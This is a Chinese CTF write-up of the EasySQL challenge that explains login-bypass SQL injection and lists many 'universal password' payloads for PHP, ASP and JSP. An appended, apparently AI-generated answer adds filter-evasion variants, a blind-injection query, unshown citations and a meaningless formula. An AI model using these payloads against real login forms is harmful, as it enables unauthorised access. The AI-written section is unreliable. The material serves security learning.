【WEB】[极客大挑战2019]EasySQL WP

本文通过极客大挑战2019的EasySQL题目,介绍了SQL注入中的万能密码原理。讲解了当网站后台未过滤单引号时,如何利用万能密码进行SQL注入,包括万能密码的逻辑运算符优先级和多种表现形式。同时列举了PHP、ASP/ASPX和JSP环境下的万能密码示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0X0000000000000001 审题初始界面

其实由题目可以知道这是道SQL注入,然后看到登录,首先尝试万能密码:

admin’ or ‘1’='1(红色部分为切入点,其他随意)    这道题的username随便

Got it

如名字所说,这是一道很ez的SQL注入
通过这道题,我们来延伸一下其他东西

0X0000000000000002 关于万能密码

为什么在注入的时候输入万能密码就可以进入呢,对于所有万能密码,都是”万能“的吗?
那么首先,让我们清楚

SQL注入-万能密码的注入原理

  • 0_用户进行用户名和密码验证时,网站需要查询数据库,查询数据库就是执行SQL语句
//用户登陆时,后台执行的数据库查询操作
Select user_id,user_type,email From users Where user_id='用户名' And password='密码' 
  • 1_网站后台在进行数据库查询的时候没有对单引号)进行过滤,当输入用户名和万能密码【2 'or '1】的时候:
Select user_id,user_type,email From users Where user_id='admin' And password='2' or '1'
  • 2_SQL语句中逻辑运算符具有优先级

利用万能的互联网,优先级从上往下,由
:=     对变量赋值
||, OR, XOR     管道符(将前面语句作为条件,执行符号后面的语句),或(条件满足其一即返回值),异或(str1与str2比较,相同为0,不同为1)
&&, AND
NOT    否定之后的所有条件
BETWEEN, CASE, WHEN, THEN, ELSE
=, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
|
&
<, >>
-, +
*, /, DIV, %, MOD
^
- (一元减号), ~ (一元比特反转)
!
BINARY, COLLATE

由于这些优先级,SQL语句在后台解析的时候:

Select user_id,user_type,email From users Where user_id='admin' And password='2' 和'1'

两句bool进行逻辑or运算,恒为TRUE.

了解了原理过后,万能密码又有哪些呢

万能密码归纳

php:

‘or 1=1/*
"or “a”="a
“or 1=1–
“or”=”
“or”="a’=‘a
“or1=1–
“or=or”
'‘or’=‘or’
‘) or (‘a’=‘a
‘.).or.(’.a.’=’.a
'or 1=1
'or 1=1–
'or 1=1/*
'or”="a’=‘a
‘or’ ‘1’=‘1’
‘or’’=’
‘or’’=’‘or’’=’
‘or’=‘1’
‘or’=‘or’
'or.‘a.’='a
‘or1=1–
1’or’1’=‘1
a’or’ 1=1–
a’or’1=1–
or ‘a’=‘a’
or 1=1–
or1=1–

asp aspx:

"or “a”="a
‘.).or.(’.a.’=’.a
or 1=1–
‘or 1=1–
a’or’ 1=1–
"or 1=1–
‘or.‘a.’=‘a
“or”="a’=‘a
‘or’’=’
or’=‘or’

jsp :

1’or’1’=‘1
admin’ or 1=1/*

  • 补充:

网上还看到师傅用sqlmap一把梭,我不是很会用sqlmap
点击跳转——>

<think>好的,用户的问题是关于极客挑战2019EasySQL题目,需要相关的资料或决方案。首先,我需要回忆用户提供的引用内容。引用1提到sqli-labs和sqlmap的学习资料,以及buuctf上的真题练习,包括几个具体的题目,其中就有[极客挑战 2019]EasySQL。引用2则给出了一个具体的万能密码尝试的例子,如username=1'or 1=1%23&password=1。 用户的需求是寻找与这个题目相关的资料或决方案。根据引用1,我应该推荐sqli-labs和sqlmap的学习资源,以及buuctf上的真题。同时,引用2中的万能密码示例是题的关键点,需要详细说明。需要确保回答结构清晰,分步骤决问题,并且引用正确。 接下来,我需要检查是否有其他可能的决方案,比如联合查询、报错注入或时间盲注,但根据引用中的信息,题目可能设计为简单的万能密码绕过。因此,重点应放在万能密码和布尔盲注上。同时,要提醒用户注意题目环境的变化,可能需要调整payload,比如使用不同的注释符号或闭合方式。 最后,生成相关问题时要围绕SQL注入的基础知识、其他CTF题目推荐以及防御方法,这样用户可以获得更全面的信息。确保所有LaTeX格式正确,行内公式用$...$,独立公式用$$...$$,但在这个问题中可能用不上太多数学公式,但如果有涉及变量的地方需要注意格式。</think>### 关于[极客挑战 2019]EasySQL决方案 #### 1. 题目背景与目标 该题目属于CTF中Web类SQL注入题型,要求通过构造特定输入绕过登录验证。典型特征是用户登录框存在未过滤的SQL注入漏洞,需利用注入获取管理员权限或直接绕过认证。 #### 2. 核心题步骤 **步骤1:尝试万能密码注入** 输入经典万能密码构造闭合: ```sql username: 1' or 1=1# password: 任意值 ``` 对应的URL编码形式为: ``` check.php?username=1%27%20or%201=1%23&password=1 ``` *原理*:通过`'`闭合原语句的字符串,`or 1=1`使WHERE条件恒真,#注释掉后续语句[^2]。 **步骤2:处理可能的过滤** 若题目过滤空格或#,可尝试: ```sql username: 1'/**/or/**/1=1%23 password: 1 ``` 或使用括号闭合: ```sql username: 1')or(1=1)# ``` #### 3. 延伸注入方法 **布尔盲注(备选方案)** 若万能密码失效,可通过逐字符爆破获取信息: ```sql admin' and substr(database(),1,1)='a'# ``` 通过响应差异判断字符正确性。 #### 4. 推荐学习资源 - **sqli-labs实验平台**:系统学习注入类型(联合查询/报错注入/盲注)[^1] - **sqlmap源码分析**:学习自动化注入实现(如参数构造、指纹识别)[^1] - **BUUCTF平台同类题目**: - [[极客挑战 2019]LoveSQL](https://buuoj.cn/challenges) - [[SUCTF 2019]EasySQL](https://buuoj.cn/challenges) $$ \text{注入成功率} = \frac{\text{有效载荷数}}{\text{尝试次数}} \times 100\% $$
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值